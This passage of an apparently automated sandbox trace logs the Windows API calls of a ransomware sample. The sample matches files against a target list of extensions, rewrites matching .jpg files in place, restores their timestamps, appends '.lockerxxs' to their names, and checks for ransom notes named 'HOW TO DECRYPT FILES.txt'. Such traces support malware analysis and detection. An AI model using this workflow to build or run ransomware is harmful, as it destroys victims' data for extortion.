Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qbb") returned 0 [0082.901] lstrlenA (lpString="*.qbb") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qbm") returned 0 [0082.902] lstrlenA (lpString="*.qbm") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qbo") returned 0 [0082.902] lstrlenA (lpString="*.qbo") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qbx") returned 0 [0082.902] lstrlenA (lpString="*.qbx") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qba") returned 0 [0082.902] lstrlenA (lpString="*.qba") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qby") returned 0 [0082.902] lstrlenA (lpString="*.qby") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qbj") returned 0 [0082.902] lstrlenA (lpString="*.qbj") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.ofx") returned 0 [0082.902] lstrlenA (lpString="*.ofx") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.qif") returned 0 [0082.902] lstrlenA (lpString="*.qif") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.mye") returned 0 [0082.902] lstrlenA (lpString="*.mye") returned 5 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.mbox") returned 0 [0082.902] lstrlenA (lpString="*.mbox") returned 6 [0082.902] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.eml") returned 0 [0082.903] lstrlenA (lpString="*.eml") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.pst") returned 0 [0082.903] lstrlenA (lpString="*.pst") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.ost") returned 0 [0082.903] lstrlenA (lpString="*.ost") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.idx") returned 0 [0082.903] lstrlenA (lpString="*.idx") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.dbx") returned 0 [0082.903] lstrlenA (lpString="*.dbx") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.sql") returned 0 [0082.903] lstrlenA (lpString="*.sql") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.mdb") returned 0 [0082.903] lstrlenA (lpString="*.mdb") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.fdb") returned 0 [0082.903] lstrlenA (lpString="*.fdb") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.wab") returned 0 [0082.903] lstrlenA (lpString="*.wab") returned 5 [0082.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.dat") returned 0 [0082.903] lstrlenA (lpString="*.dat") returned 5 [0082.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.txt") returned 0 [0082.904] lstrlenA (lpString="*.txt") returned 5 [0082.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.jpeg") returned 0 [0082.904] lstrlenA (lpString="*.jpeg") returned 6 [0082.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", pszSpec="*.jpg") returned 1 [0082.904] lstrlenA (lpString="*.jpg") returned 5 [0082.904] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" [0082.904] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" [0082.904] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg." [0082.904] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.lockerxxs" [0082.904] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.905] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x36d2 [0082.905] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x537add90, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x537add90, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x537add90, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.905] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.905] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x36ac, lpOverlapped=0x0) returned 1 [0082.907] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg") returned="BBBO1qB[1].jpg" [0082.907] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.907] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x36ac, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x36ac, lpOverlapped=0x0) returned 1 [0082.908] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.908] CloseHandle (hObject=0xa4) returned 1 [0082.908] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbbo1qb[1].jpg.lockerxxs")) returned 1 [0082.909] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53194530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53194530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53194530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBOIAt[1].jpg", cAlternateFileName="BBBOIA~1.JPG")) returned 1 [0082.909] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.909] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBOIAt[1].jpg") returned 1 [0082.909] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBOIAt[1].jpg") returned 1 [0082.909] lstrcmpiA (lpString1="", lpString2="BBBOIAt[1].jpg") returned -1 [0082.909] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBO1qB[1].jpg") returned="BBBO1qB[1].jpg" [0082.909] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.909] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.909] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.909] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.910] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBBOIAt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.ems") returned 0 [0082.910] lstrlenA (lpString="*.ems") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.db") returned 0 [0082.910] lstrlenA (lpString="*.db") returned 4 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.dbf") returned 0 [0082.910] lstrlenA (lpString="*.dbf") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.myox") returned 0 [0082.910] lstrlenA (lpString="*.myox") returned 6 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.myo") returned 0 [0082.910] lstrlenA (lpString="*.myo") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qbw") returned 0 [0082.910] lstrlenA (lpString="*.qbw") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qbb") returned 0 [0082.910] lstrlenA (lpString="*.qbb") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qbm") returned 0 [0082.910] lstrlenA (lpString="*.qbm") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qbo") returned 0 [0082.910] lstrlenA (lpString="*.qbo") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qbx") returned 0 [0082.910] lstrlenA (lpString="*.qbx") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qba") returned 0 [0082.910] lstrlenA (lpString="*.qba") returned 5 [0082.910] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qby") returned 0 [0082.911] lstrlenA (lpString="*.qby") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qbj") returned 0 [0082.911] lstrlenA (lpString="*.qbj") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.ofx") returned 0 [0082.911] lstrlenA (lpString="*.ofx") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.qif") returned 0 [0082.911] lstrlenA (lpString="*.qif") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.mye") returned 0 [0082.911] lstrlenA (lpString="*.mye") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.mbox") returned 0 [0082.911] lstrlenA (lpString="*.mbox") returned 6 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.eml") returned 0 [0082.911] lstrlenA (lpString="*.eml") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.pst") returned 0 [0082.911] lstrlenA (lpString="*.pst") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.ost") returned 0 [0082.911] lstrlenA (lpString="*.ost") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.idx") returned 0 [0082.911] lstrlenA (lpString="*.idx") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.dbx") returned 0 [0082.911] lstrlenA (lpString="*.dbx") returned 5 [0082.911] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.sql") returned 0 [0082.911] lstrlenA (lpString="*.sql") returned 5 [0082.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.mdb") returned 0 [0082.912] lstrlenA (lpString="*.mdb") returned 5 [0082.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.fdb") returned 0 [0082.912] lstrlenA (lpString="*.fdb") returned 5 [0082.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.wab") returned 0 [0082.912] lstrlenA (lpString="*.wab") returned 5 [0082.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.dat") returned 0 [0082.912] lstrlenA (lpString="*.dat") returned 5 [0082.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.txt") returned 0 [0082.912] lstrlenA (lpString="*.txt") returned 5 [0082.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.jpeg") returned 0 [0082.912] lstrlenA (lpString="*.jpeg") returned 6 [0082.912] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", pszSpec="*.jpg") returned 1 [0082.912] lstrlenA (lpString="*.jpg") returned 5 [0082.912] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" [0082.912] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg" [0082.912] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg." [0082.912] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBBOIAt[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS 